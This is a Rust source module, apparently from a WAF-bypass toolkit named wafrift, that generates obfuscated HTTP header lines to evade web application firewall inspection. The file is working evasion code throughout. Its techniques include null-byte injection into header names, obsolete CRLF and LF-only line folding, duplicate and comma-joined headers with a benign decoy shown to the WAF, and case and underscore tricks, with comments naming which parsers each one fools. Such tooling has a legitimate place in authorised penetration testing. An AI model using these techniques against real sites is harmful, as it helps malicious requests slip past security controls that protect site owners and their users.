Skip to main content

wafrift_encoding/
header.rs

1//! HTTP header obfuscation for WAF bypass.
2//!
3//! WAFs inspect HTTP headers to detect malicious requests. This module
4//! applies transformations that are valid per HTTP RFCs but confuse
5//! WAF header parsers, causing them to misparse or skip inspection.
6//!
7//! # Techniques
8//!
9//! - **Case mixing** — `cOnTeNt-TyPe` instead of `Content-Type`
10//! - **Whitespace tricks** — tabs, spaces around colons and values
11//! - **Header folding** — obsolete but still parsed by many servers (RFC 7230 §3.2.4)
12//! - **Duplicate headers** — first vs. last wins disagreement
13//! - **Underscore substitution** — `Content_Type` accepted by some servers
14//! - **Null byte injection** — `Content-Type\x00` truncates header name
15//! - **`SPaced` header name** — `Content-Type ` trailing space before colon
16//! - **Header value wrapping** — Value spread across multiple continuation lines
17//! - **Comma-joined header values** — Multiple values in one header via comma
18
19use std::fmt;
20
21/// A header transformation technique.
22#[derive(Debug, Clone, Copy, PartialEq, Eq, Hash, serde::Serialize, serde::Deserialize)]
23#[non_exhaustive]
24pub enum HeaderTechnique {
25    /// Random case mixing of header name.
26    CaseMixing,
27    /// Tab character instead of space after colon.
28    TabSeparator,
29    /// Extra whitespace around header value.
30    WhitespacePadding,
31    /// Obsolete header folding with continuation line (CRLF + whitespace).
32    LineFolding,
33    /// LF-only continuation line.
34    LfOnlyLineFolding,
35    /// Duplicate header with benign value first.
36    DuplicateHeader,
37    /// Underscore instead of hyphen in header name.
38    UnderscoreSubstitution,
39    /// Null byte injected into header name.
40    NullByteInjection,
41    /// Trailing space before colon in header name.
42    TrailingSpace,
43    /// Header value wrapped across multiple continuation lines.
44    MultiLineFolding,
45    /// LF-only multi-line folding.
46    LfOnlyMultiLineFolding,
47    /// Multiple values comma-joined in a single header.
48    CommaJoin,
49}
50
51impl fmt::Display for HeaderTechnique {
52    fn fmt(&self, f: &mut fmt::Formatter<'_>) -> fmt::Result {
53        match self {
54            Self::CaseMixing => f.write_str("case-mixing"),
55            Self::TabSeparator => f.write_str("tab-separator"),
56            Self::WhitespacePadding => f.write_str("whitespace-padding"),
57            Self::LineFolding => f.write_str("line-folding"),
58            Self::LfOnlyLineFolding => f.write_str("lf-only-line-folding"),
59            Self::DuplicateHeader => f.write_str("duplicate-header"),
60            Self::UnderscoreSubstitution => f.write_str("underscore-substitution"),
61            Self::NullByteInjection => f.write_str("null-byte-injection"),
62            Self::TrailingSpace => f.write_str("trailing-space"),
63            Self::MultiLineFolding => f.write_str("multi-line-folding"),
64            Self::LfOnlyMultiLineFolding => f.write_str("lf-only-multi-line-folding"),
65            Self::CommaJoin => f.write_str("comma-join"),
66        }
67    }
68}
69
70/// Apply case mixing to a header name.
71///
72/// Produces `cOnTeNt-TyPe` style output. HTTP header names are defined
73/// as case-insensitive (RFC 7230 §3.2), so servers accept any casing,
74/// but some WAFs only match canonical `Content-Type`.
75#[must_use]
76pub fn case_mix(header_name: &str) -> String {
77    crate::encoding::keyword::alternating_case(header_name, false)
78}
79
80/// Strip CR (`\r`), LF (`\n`), and NUL (`\0`) from a header value so
81/// the mutator output cannot smuggle a fake header line. Pre-fix every
82/// public mutator embedded `value` verbatim — a caller passing a value
83/// containing `\r\nEvil-Header: pwn` produced response splitting /
84/// request smuggling on the wire. The transport layer assumed these
85/// helpers had already sanitised; the helpers assumed the transport
86/// layer would. Both wrong. Sanitising here closes the gap without an
87/// API break.
88fn sanitize_header_value(value: &str) -> String {
89    value
90        .chars()
91        .filter(|c| *c != '\r' && *c != '\n' && *c != '\0')
92        .collect()
93}
94
95/// Apply tab separator: `Header:\tvalue` instead of `Header: value`.
96#[must_use]
97pub fn tab_separator(header_name: &str, value: &str) -> String {
98    let value = sanitize_header_value(value);
99    format!("{header_name}:\t{value}")
100}
101
102/// Apply whitespace padding around the value.
103#[must_use]
104pub fn whitespace_pad(header_name: &str, value: &str) -> String {
105    let value = sanitize_header_value(value);
106    let pad_count = rand::random::<usize>() % 4 + 2; // 2–5 spaces
107    let left = " ".repeat(pad_count);
108    let right = " ".repeat(pad_count);
109    format!("{header_name}:{left}{value}{right}")
110}
111
112fn char_boundary_near(s: &str, byte_idx: usize) -> usize {
113    if byte_idx >= s.len() {
114        return s.len();
115    }
116    let mut i = byte_idx;
117    while i > 0 && !s.is_char_boundary(i) {
118        i -= 1;
119    }
120    i
121}
122
123/// Apply obsolete line folding (RFC 7230 §3.2.4).
124///
125/// The header value is split across two lines with a continuation marker
126/// (CRLF followed by a space or tab). This is obsolete but many servers
127/// still accept it, while WAFs often do not reassemble folded headers.
128#[must_use]
129pub fn line_fold(header_name: &str, value: &str) -> String {
130    line_fold_with_ending(header_name, value, "\r\n")
131}
132
133/// Apply LF-only line folding.
134#[must_use]
135pub fn lf_only_line_fold(header_name: &str, value: &str) -> String {
136    line_fold_with_ending(header_name, value, "\n")
137}
138
139fn line_fold_with_ending(header_name: &str, value: &str, ending: &str) -> String {
140    let value = sanitize_header_value(value);
141    if value.len() < 4 {
142        return format!("{header_name}: {value}");
143    }
144    let mid = char_boundary_near(&value, value.len() / 2);
145    format!(
146        "{}: {}{ending}\t{}",
147        header_name,
148        &value[..mid],
149        &value[mid..]
150    )
151}
152
153/// Apply multi-line folding — value spread across 3+ continuation lines.
154///
155/// More aggressive than single fold — splits value into thirds.
156/// Many WAFs only handle one continuation line.
157#[must_use]
158pub fn multi_line_fold(header_name: &str, value: &str) -> String {
159    multi_line_fold_with_ending(header_name, value, "\r\n")
160}
161
162/// Apply LF-only multi-line folding.
163#[must_use]
164pub fn lf_only_multi_line_fold(header_name: &str, value: &str) -> String {
165    multi_line_fold_with_ending(header_name, value, "\n")
166}
167
168fn multi_line_fold_with_ending(header_name: &str, value: &str, ending: &str) -> String {
169    let value = sanitize_header_value(value);
170    if value.len() < 6 {
171        return format!("{header_name}: {value}");
172    }
173    let t1 = char_boundary_near(&value, value.len() / 3);
174    let t2 = char_boundary_near(&value, value.len() * 2 / 3);
175    format!(
176        "{}: {}{ending} {}{ending}\t{}",
177        header_name,
178        &value[..t1],
179        &value[t1..t2],
180        &value[t2..]
181    )
182}
183
184/// Generate a duplicate header pair: returns `(benign_line, real_line)`.
185///
186/// Some WAFs only inspect the first occurrence of a header, while many
187/// servers use the last. By placing a benign value first and the real
188/// value second, the WAF sees the benign header, the server sees the
189/// real one.
190#[must_use]
191pub fn duplicate_header(
192    header_name: &str,
193    real_value: &str,
194    benign_value: &str,
195) -> (String, String) {
196    let real = sanitize_header_value(real_value);
197    let benign = sanitize_header_value(benign_value);
198    (
199        format!("{header_name}: {benign}"),
200        format!("{header_name}: {real}"),
201    )
202}
203
204/// Replace hyphens with underscores in the header name.
205///
206/// Some web servers (notably PHP with `$_SERVER`, and CGI) normalise
207/// `Content_Type` → `Content-Type`. WAFs typically do not.
208#[must_use]
209pub fn underscore_substitute(header_name: &str) -> String {
210    header_name.replace('-', "_")
211}
212
213/// Inject a null byte into the header name at the midpoint.
214///
215/// Some C-based WAF implementations (modSecurity, native nginx modules)
216/// use null-terminated string operations internally. A null byte in the
217/// header name causes the WAF to see a truncated name (e.g., `Content`
218/// instead of `Content-Type\x00`), while the upstream server may parse
219/// the full name.
220#[must_use]
221pub fn null_byte_inject(header_name: &str) -> String {
222    if header_name.len() < 2 {
223        return header_name.to_string();
224    }
225    let mid = char_boundary_near(header_name, header_name.len() / 2);
226    format!("{}\x00{}", &header_name[..mid], &header_name[mid..])
227}
228
229/// Add a trailing space before the colon separator.
230///
231/// `Content-Type : value` — some parsers strip the space, making this
232/// equivalent. WAFs that expect `Name:` or `Name: ` without extra space
233/// in the header name field may fail to match.
234#[must_use]
235pub fn trailing_space(header_name: &str, value: &str) -> String {
236    let value = sanitize_header_value(value);
237    format!("{header_name} : {value}")
238}
239
240/// Comma-join multiple values into a single header.
241///
242/// Per RFC 7230 §3.2.6, a recipient may combine multiple header fields
243/// with the same name into one `field-value` separated by commas.
244/// `Header: benign, malicious` is semantically equivalent to two
245/// separate `Header: benign` and `Header: malicious` lines. WAFs that
246/// split on the first comma may only inspect `benign`.
247#[must_use]
248pub fn comma_join(header_name: &str, real_value: &str, benign_value: &str) -> String {
249    let real = sanitize_header_value(real_value);
250    let benign = sanitize_header_value(benign_value);
251    format!("{header_name}: {benign}, {real}")
252}
253
254/// Apply all header obfuscation techniques to a header name/value pair.
255///
256/// Returns a vector of `(technique, obfuscated_header_line)` pairs.
257/// For `DuplicateHeader`, the two lines are joined with CRLF.
258#[must_use]
259pub fn all_obfuscations(header_name: &str, value: &str) -> Vec<(HeaderTechnique, String)> {
260    let benign = "safe_value";
261    vec![
262        (
263            HeaderTechnique::CaseMixing,
264            format!("{}: {}", case_mix(header_name), value),
265        ),
266        (
267            HeaderTechnique::TabSeparator,
268            tab_separator(header_name, value),
269        ),
270        (
271            HeaderTechnique::WhitespacePadding,
272            whitespace_pad(header_name, value),
273        ),
274        (HeaderTechnique::LineFolding, line_fold(header_name, value)),
275        (
276            HeaderTechnique::LfOnlyLineFolding,
277            lf_only_line_fold(header_name, value),
278        ),
279        (HeaderTechnique::DuplicateHeader, {
280            let (a, b) = duplicate_header(header_name, value, benign);
281            format!("{a}\r\n{b}")
282        }),
283        (
284            HeaderTechnique::UnderscoreSubstitution,
285            format!("{}: {}", underscore_substitute(header_name), value),
286        ),
287        (
288            HeaderTechnique::NullByteInjection,
289            format!("{}: {}", null_byte_inject(header_name), value),
290        ),
291        (
292            HeaderTechnique::TrailingSpace,
293            trailing_space(header_name, value),
294        ),
295        (
296            HeaderTechnique::MultiLineFolding,
297            multi_line_fold(header_name, value),
298        ),
299        (
300            HeaderTechnique::LfOnlyMultiLineFolding,
301            lf_only_multi_line_fold(header_name, value),
302        ),
303        (
304            HeaderTechnique::CommaJoin,
305            comma_join(header_name, value, benign),
306        ),
307    ]
308}
309
310#[cfg(test)]
311#[path = "header_tests.rs"]
312mod tests;